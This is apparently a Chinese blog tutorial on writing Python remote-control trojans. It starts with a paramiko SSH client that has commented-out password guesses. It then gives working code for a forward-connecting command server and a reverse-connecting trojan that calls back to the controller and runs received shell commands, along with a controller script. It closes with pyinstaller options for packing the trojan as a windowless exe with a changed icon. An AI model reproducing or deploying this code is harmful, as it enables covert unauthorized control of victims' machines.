赞
踩
基于paramiko实现SSH客户端
- import paramiko
- #创建SSClient对象
- client = paramiko.SSHClient()
- #允许自己连接不认识的主机
- client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
-
- #连接服务器
- #passwords=['123456','root']
- #for i in passwords:
- # print(i)
- client.connect('主机名','端口','用户名','密码')
-
- stdin,stdout,stderr = client.exec_command('ls')
- #获取命令结果
- print(stdout.read())
除了通过SSH连接服务器外,还用其他的方式也可以实现远程控制,也就是我们常说的木马,对于一个木马来说,至少要具备以下两个功能:
1:服务端能够对设备进行控制
2:客户端可以远程向服务器传达命令
- import socket
- import time
-
- str_msg=input("请输入指令")
- s2 = socket.socket()
- s2.connect(("127.0.0.1",2315))
- #对传输数据使用encode()函数处理,python3不再支持str类型传输,需要转换为bytes类型
- str_msg = str_msg.encode(encoding='gbk')
- s2.send(str_msg)
- print(str(s2.recv(1024)))
-
- time.sleep(5)
- s2.close()
- import subprocess
- import socket
-
- def run_command(command):
- command=command.rstrip() #删除字符串末尾指定字符,默认为空格
- print(command)
- try:
- child = subprocess.run(command,shell=True)
- except Exception as e:
- child = "执行失败\r\n"
- return child
-
- s1 = socket.socket()
- s1.bind(("127.0.0.1",2315))
- s1.listen(5)
- str="Hello World"
-
- while True:
- conn,address = s1.accept()
- print("a new connect from",address)
- conn.send(str.encode(encoding="gbk"))
- data=conn.recv(1024)
- data=bytes.decode(data)
- print("The command is"+data)
- output = run_command(data)
-
- conn.close()
正向连接脚本实际上受到目标设备IP的限制,所以出现了一种更有效的木马。反向木马的被控端写有主控端的IP地址,一但在目标设备上运行,就会主动通知主控端,然后再从主控端发送命令。
- import subprocess
- import socket
- def run_command(command):
- command = command.rstrip()
- #print(type(command))
- #command="calc"
- try:
- child = subprocess.run(command,shell=True)
- except Exception as e:
- child = '命令执行失败\n'
- return child
- client = socket.socket()
-
- #连接主控端的IP地址
-
- client.connect(('127.0.0.1',9999))
- while True:
- Message = "welcome"
- client.send(Message.encode())
- data = client.recv(1024)
- data=data.decode()
- output = run_command(data)
- #print(output.stdout)
-
- client.close()
- import socketserver
- class MyTCPHandler(socketserver.BaseRequestHandler):
- def handle(self):
- try:
- while True:
- self.data = self.request.recv(1024)
- print(self.data.deconde(),"\n")
- cmd = input("(quit退出>>").strip()
- if cmd == 0:
- continue
- if cmd == "quit":
- break
- if not self.data:
- print("connection lost")
- break
- self.request.sendall(cmd.encode())
- except Exception as e:
- print(self.client_address,"连接断开")
- finally:
- self.request.close()
- def setup(self):
- print("before handle,连接建立",self.client_address)
- def finish(self):
- print("finish run after handle")
- if __name__ == "__main__":
- HOST = "localhost"
- PORT = 9999
- server = socketserver.TCPServer((HOST,PORT),MyTCPHandler)
- server.serve_forever()
目标设备上可能没有python环境,所以有时候需要改变一下文件类型
使用 pyinstaller xxx.py(文件路径)
-F 打包后生成单个exe文件
-D 默认选项,创建一个目录,包含exe文件和大量依赖文件
-c 默认使用控制台(黑框框)
-w 不使用控制台
-p 添加搜索路径,让其找到对应的库
-i 改变生成程序的icon图标
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。